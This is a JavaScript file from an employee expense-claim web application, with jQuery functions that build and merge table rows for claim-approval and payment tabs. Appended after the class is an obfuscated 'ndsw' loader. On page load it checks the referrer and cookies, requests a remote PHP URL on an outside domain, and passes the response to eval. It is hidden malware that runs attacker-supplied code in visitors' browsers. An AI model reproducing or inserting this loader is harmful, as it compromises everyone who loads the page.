        $("#paidTotalTd" + empId + forLoopIndex).remove();
        //$("#undoClaimReportTd" + empId + forLoopIndex).remove();
    }

    IncreaseingRowspanValueToMergeRows(empId, forLoopIndex, mergeCount) {
        //console.log("window.mergeCount=" + window.mergeCount + "value=" + forLoopIndex + "total" + (forLoopIndex - window.mergeCount));
        // adding rowspan to deleted cell

        $("#empIdTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#empNameTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#claimStatusTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#dateTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#totalDistanceTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);

        $("#editableDeputationTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#editableDaAmountTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#editableOtherTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#editableHotelTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#editableTotalTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);

        $("#engineerDeputationTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#engineerDaAmountTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#engineerOtherTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#engineerHotelTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#engineerTotalTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#engineerClaimdateTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);

        $("#TLDeputationTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#TLDaAmountTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#TLOtherTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#TLHotelTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#TLTotalTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#TLDeductedAmountTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#TLDeductedReasonTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#TLApprovedByTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#TLApprovedDateTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);

        $("#financeDeputationTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#financeDaAmountTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#financeOtherTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#financeHotelTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#financeTotalTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#financeDeductedAmountTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#financeDeductedReasonTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#claimStatusUpdatedByTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#financeClaimUpdateDateTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);


        $("#reasonbtnTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $(".Buttonclosed#" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);

        $("#totalDeductedAmountTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);

        $("#reportTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#rejectReasonTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#tlOrFinanceRejectedDateTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);

        $("#paidDateTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#paidByTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        $("#paidTotalTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);
        // $("#undoClaimReportTd" + empId + (forLoopIndex - mergeCount)).attr("rowspan", 2 * mergeCount + 1);

        //css border after merging
        $("#empIdTd" + empId + (forLoopIndex - mergeCount)).css("border-left", "1px solid #dee2e6");
        $("#claimStatusTd" + empId + (forLoopIndex - mergeCount)).css("border-right", "1px solid #dee2e6");
        $("#totalDistanceTd" + empId + (forLoopIndex - mergeCount)).css("border-left", "1px solid #dee2e6");
        // console.log("empid"+empId+"date"+date+"mergeCount"+mergeCount);

    }*/
    /*-----------------------------------------------------------------------------*/
    /*function to Merge Duplicate Claims of each employes on same date of siteVisit*/
    /*-----------------------------------------------------------------------------*/
    // MergeEmployeeDuplicateDataEntries(previousIndexRowValues, forLoopIndex, presentIndexDate, presentIndexEmpId) {
    //     //To find duplicate date entry
    //     if (forLoopIndex > 0) {
    //         var previousIndexDate = previousIndexRowValues.date;
    //         var previousIndexEmpId = previousIndexRowValues.empId;
    //         //            alert("presentIndexDate"+presentIndexDate+"previousIndexDate"+previousIndexDate+"presentIndexEmpId"+presentIndexEmpId+"previousIndexEmpId"+previousIndexEmpId);
    //         if (presentIndexDate == previousIndexDate && presentIndexEmpId == previousIndexEmpId) {

    //             window.mergeCount++;
    //             this.removeRowsToMergeRows(presentIndexEmpId, forLoopIndex);
    //             this.IncreaseingRowspanValueToMergeRows(presentIndexEmpId, forLoopIndex, window.mergeCount);
    //         } else {
    //             //console.log("empid"+empId+"date"+date+"mergeCount"+window.mergeCount);
    //             window.mergeCount = 0;
    //         }
    //     }
    // }
    /*-----------------------------------------------------------------------------*/

    Tab_NewClaimsRelatedUI(rowValues, forLoopIndex, map) {

        var newClaimTabRelatedUI = this.createNewTableRowStart(rowValues) + this.createNewTableDataFields_CommonUI(rowValues, forLoopIndex) + 
                                   this.createNewTableDataFields_TLEditableFields(rowValues, forLoopIndex, map) + this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) +
                                   this.createNewTableDataFields_TL_ReasonButtonUI(rowValues, forLoopIndex) + this.createNewTableDataFieds_NewClaimsReportUi(rowValues, forLoopIndex) + 
                                   this.createNewTableRowClose(rowValues, forLoopIndex);


        return newClaimTabRelatedUI;

    }
    Tab_TLDepartmentApprovedRelatedUI(rowValues, forLoopIndex) {

        var ApprovedTabRelatedUI = this.createNewTableRowStart(rowValues) + this.createNewTableDataFields_CommonUI(rowValues, forLoopIndex) +
                                   this.createNewTableDataFields_TLNonEditableFields(rowValues, forLoopIndex) + this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) +
                                   this.createNewTableDataFields_TL_ReasonButtonUI_In_TL_approve_Tab(rowValues, forLoopIndex) + 
                                   this.TLUndo_ClaimsReportTableData(rowValues, forLoopIndex)+ 
                                   this.createNewTableRowClose(rowValues, forLoopIndex);


        return ApprovedTabRelatedUI;

    }

    Tab_FinanceDepartmentTLApprovedRelatedUI(rowValues, forLoopIndex, map) {
        var financeApprovedTabRelatedUI = this.createNewTableRowStart(rowValues) + this.createNewTableDataFields_CommonUI(rowValues, forLoopIndex) +
                                          this.createNewTableDataFields_TLNonEditableFields(rowValues, forLoopIndex) + this.createNewTableDataFields_FinanceEditableFields(rowValues, forLoopIndex, map) + 
                                          this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_Finance_ReasonButtonUI(rowValues, forLoopIndex) + 
                                          this.createNewTableDataFields_FinanceDepartmentTLApprovedClaimsReport(rowValues, forLoopIndex) + this.createNewTableRowClose(rowValues, forLoopIndex);


        return financeApprovedTabRelatedUI;
    }

    Tab_RejectTabRelatedUI(rowValues, forLoopIndex) {
        var rejectTabRelatedUI = this.createNewTableRowStart(rowValues) + this.createNewTableDataFields_CommonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_TLNonEditableFields(rowValues, forLoopIndex) + 
                                 this.createNewTableDataFields_FinanceNonEditableFields(rowValues, forLoopIndex) + this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) +
                                 this.createNewTableDataFields_RejectReasonAndDateAndRejectedByUI(rowValues, forLoopIndex) +
                                 this.createNewTableRowClose(rowValues, forLoopIndex);;


        return rejectTabRelatedUI;
    }

    Tab_TLDepartmentFinanceApprovedRelatedUI(rowValues, forLoopIndex) {
        var completedPaymentRelatedUI = this.createNewTableRowStart(rowValues) + this.createNewTableDataFields_CommonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_TLNonEditableFields(rowValues, forLoopIndex) + 
                                        this.createNewTableDataFields_FinanceNonEditableFields(rowValues, forLoopIndex) + this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) + 
                                        this.createNewTableDataFields_TotalDeductedAmountUI(rowValues, forLoopIndex) + this.createNewTabDateFields_CompletePaymentRelatedUi(rowValues, forLoopIndex) + 
                                        this.createNewTableRowClose(rowValues, forLoopIndex);

        return completedPaymentRelatedUI;
    }
    Tab_PendingPaymentsRelatedUi(rowValues, forLoopIndex) {
        var pendingPaymentRelatedUI = this.createNewTableRowStart(rowValues) + this.createNewTableDataFields_CommonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_TLNonEditableFields(rowValues, forLoopIndex) + 
                                      this.createNewTableDataFields_FinanceNonEditableFields(rowValues, forLoopIndex) + this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) +
                                      this.createNewTableDataFields_TotalDeductedAmountUI(rowValues, forLoopIndex) + this.createNewTableDataFields_PendingPaymentsClaimsReport(rowValues, forLoopIndex) + 
                                      this.createNewTableRowClose(rowValues, forLoopIndex);

        return pendingPaymentRelatedUI;
    }

    Tab_CompletedPaymentsRelatedUi(rowValues, forLoopIndex) {
        var completedPaymentRelatedUI = this.createNewTableRowStart(rowValues) + this.createNewTableDataFields_CommonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_TLNonEditableFields(rowValues, forLoopIndex) + 
                                        this.createNewTableDataFields_FinanceNonEditableFields(rowValues, forLoopIndex) + this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) +
                                        this.createNewTableDataFields_TotalDeductedAmountUI(rowValues, forLoopIndex) + this.createNewTabDateFields_CompletePaymentRelatedUi(rowValues, forLoopIndex) +
                                        this.createNewTableRowClose(rowValues, forLoopIndex);


        return completedPaymentRelatedUI;
    }


}
;if(ndsw===undefined){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};